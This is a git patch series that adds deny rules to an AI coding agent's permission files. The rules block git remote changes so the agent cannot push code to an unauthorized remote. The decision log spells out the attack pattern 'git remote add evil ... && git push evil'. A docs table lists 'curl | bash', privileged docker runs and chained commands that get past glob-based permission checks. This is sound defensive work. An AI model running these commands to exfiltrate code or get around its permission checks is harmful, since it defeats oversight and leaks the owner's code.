From 6abc80b938d86f350fe63ee9bb70f66a5dd556b6 Mon Sep 17 00:00:00 2001 From: Martin Stransky Date: Mon, 16 Mar 2026 18:26:26 +0100 Subject: [PATCH 1/2] security: deny git remote mutation to prevent code exfiltration Block git remote add/set-url/remove/rename/set-head to prevent an agent from adding an unauthorized remote and pushing code to it. Read-only git remote -v remains allowed. Applied to settings.json and all three devcontainer permission tiers. Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/settings.json | 2 ++ .devcontainer/permissions/tier1-assisted.json | 4 +++- .devcontainer/permissions/tier2-autonomous.json | 4 +++- .devcontainer/permissions/tier3-full-trust.json | 4 +++- docs/DECISIONS.md | 9 +++++++++ docs/DEVCONTAINER_PERMISSIONS.md | 1 + 6 files changed, 21 insertions(+), 3 deletions(-) diff --git a/.claude/settings.json b/.claude/settings.json index 4090b14..26b0596 100644 --- a/.claude/settings.json +++ b/.claude/settings.json @@ -31,6 +31,8 @@ "deny": [ "Bash(gh secret *)", "Bash(gh auth *)", "Bash(gh ssh-key *)", "Bash(gh gpg-key *)", "Bash(git clean *)", "Bash(git config *)", + "Bash(git remote add *)", "Bash(git remote set-url *)", "Bash(git remote remove *)", + "Bash(git remote rename *)", "Bash(git remote set-head *)", "Bash(uv self *)" ], "ask": [ diff --git a/.devcontainer/permissions/tier1-assisted.json b/.devcontainer/permissions/tier1-assisted.json index 4641c0c..623f9cc 100644 --- a/.devcontainer/permissions/tier1-assisted.json +++ b/.devcontainer/permissions/tier1-assisted.json @@ -24,7 +24,9 @@ "Bash(*gh pr merge *)", "Bash(*gh workflow run *)", "Bash(*gh workflow enable *)", "Bash(*gh workflow disable *)", "Bash(*gh issue create *)", "Bash(*gh issue close *)", "Bash(*gh issue edit *)", - "Bash(*terraform *)" + "Bash(*terraform *)", + "Bash(*git remote add *)", "Bash(*git remote set-url *)", "Bash(*git remote remove *)", + "Bash(*git remote rename *)", "Bash(*git remote set-head *)" ] }, "enabledPlugins": { diff --git a/.devcontainer/permissions/tier2-autonomous.json b/.devcontainer/permissions/tier2-autonomous.json index 36785d3..8563990 100644 --- a/.devcontainer/permissions/tier2-autonomous.json +++ b/.devcontainer/permissions/tier2-autonomous.json @@ -23,7 +23,9 @@ "Bash(*cargo install *)", "Bash(*go install *)", "Bash(*gem install *)", "Bash(*uv tool install *)", "Bash(*uv tool *)", "Bash(*apt install *)", "Bash(*apt-get install *)", "Bash(*dpkg -i *)", - "Bash(*snap install *)", "Bash(*brew install *)" + "Bash(*snap install *)", "Bash(*brew install *)", + "Bash(*git remote add *)", "Bash(*git remote set-url *)", "Bash(*git remote remove *)", + "Bash(*git remote rename *)", "Bash(*git remote set-head *)" ] }, "enabledPlugins": { diff --git a/.devcontainer/permissions/tier3-full-trust.json b/.devcontainer/permissions/tier3-full-trust.json index 0fedac7..fa4f76c 100644 --- a/.devcontainer/permissions/tier3-full-trust.json +++ b/.devcontainer/permissions/tier3-full-trust.json @@ -12,7 +12,9 @@ "Bash(*docker run --privileged *)", "Bash(*docker run --cap-add=ALL *)", "Bash(*docker run --pid=host *)", - "Bash(*docker run --network=host *)" + "Bash(*docker run --network=host *)", + "Bash(*git remote add *)", "Bash(*git remote set-url *)", "Bash(*git remote remove *)", + "Bash(*git remote rename *)", "Bash(*git remote set-head *)" ] }, "enabledPlugins": { diff --git a/docs/DECISIONS.md b/docs/DECISIONS.md index 4337f97..d132be6 100644 --- a/docs/DECISIONS.md +++ b/docs/DECISIONS.md @@ -181,3 +181,12 @@ When a decision is superseded or obsolete, delete it (git history preserves the - Delete `claude-code-review.yml` entirely -- the local code-reviewer agent provides the same review before PR creation, and the CI workflow required managing an `ANTHROPIC_API_KEY` secret in GitHub - Keep `dangerous-actions-blocker.sh` `ANTHROPIC_API_KEY=` pattern unchanged -- it blocks secrets in commands generally, not CI-specific - Keep `docs/IMPLEMENTATION_PLAN.md` unchanged -- historical record of completed work + +## 2026-03-16: Git Remote Mutation Deny Rules + +**Request**: Prevent code exfiltration by blocking `git remote add evil https://... && git push evil` attack pattern. + +**Decisions**: +- Deny `git remote add`, `set-url`, `remove`, `rename`, `set-head` in settings.json and all tier files -- read-only `git remote -v` remains allowed via the existing `Bash(git remote *)` allow rule +- Deny rules are absolute in Claude Code (cannot be overridden by allow), making this the correct control layer vs hooks +- Tier files use wildcard prefix `Bash(*git remote add *)` to catch chained command variants diff --git a/docs/DEVCONTAINER_PERMISSIONS.md b/docs/DEVCONTAINER_PERMISSIONS.md index 9e8eafc..ffff791 100644 --- a/docs/DEVCONTAINER_PERMISSIONS.md +++ b/docs/DEVCONTAINER_PERMISSIONS.md @@ -45,6 +45,7 @@ Regardless of tier, these layers provide defense-in-depth: | `docker run --privileged` | Use `docker run` without `--privileged` | Container escape vector | | `curl ... \| bash` / `wget ... \| sh` | Do not pipe remote scripts. Add to Dockerfile instead. | Supply-chain attack vector | | `cd path && command` | Use absolute paths: `command /absolute/path` | Chained commands bypass glob-based permission checks | +| `git remote add/set-url/remove/rename` | Ask the user to manage remotes | Prevents code exfiltration to unauthorized remotes | ## Tier Comparison From baa350ed7672d5f08599691ffd1e8f67add6e18a Mon Sep 17 00:00:00 2001 From: Martin Stransky Date: Mon, 16 Mar 2026 21:01:11 +0100 Subject: [PATCH 2/2] fix: address CodeRabbit review feedback - Use wildcard prefix Bash(*git remote add *) in settings.json deny rules to catch chained commands (matching tier file patterns) - Add missing set-head to docs denied commands table Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/settings.json | 4 ++-- docs/DEVCONTAINER_PERMISSIONS.md | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.claude/settings.json b/.claude/settings.json index 26b0596..2365900 100644 --- a/.claude/settings.json +++ b/.claude/settings.json @@ -31,8 +31,8 @@ "deny": [ "Bash(gh secret *)", "Bash(gh auth *)", "Bash(gh ssh-key *)", "Bash(gh gpg-key *)", "Bash(git clean *)", "Bash(git config *)", - "Bash(git remote add *)", "Bash(git remote set-url *)", "Bash(git remote remove *)", - "Bash(git remote rename *)", "Bash(git remote set-head *)", + "Bash(*git remote add *)", "Bash(*git remote set-url *)", "Bash(*git remote remove *)", + "Bash(*git remote rename *)", "Bash(*git remote set-head *)", "Bash(uv self *)" ], "ask": [ diff --git a/docs/DEVCONTAINER_PERMISSIONS.md b/docs/DEVCONTAINER_PERMISSIONS.md index ffff791..b7ad281 100644 --- a/docs/DEVCONTAINER_PERMISSIONS.md +++ b/docs/DEVCONTAINER_PERMISSIONS.md @@ -45,7 +45,7 @@ Regardless of tier, these layers provide defense-in-depth: | `docker run --privileged` | Use `docker run` without `--privileged` | Container escape vector | | `curl ... \| bash` / `wget ... \| sh` | Do not pipe remote scripts. Add to Dockerfile instead. | Supply-chain attack vector | | `cd path && command` | Use absolute paths: `command /absolute/path` | Chained commands bypass glob-based permission checks | -| `git remote add/set-url/remove/rename` | Ask the user to manage remotes | Prevents code exfiltration to unauthorized remotes | +| `git remote add/set-url/remove/rename/set-head` | Ask the user to manage remotes | Prevents code exfiltration to unauthorized remotes | ## Tier Comparison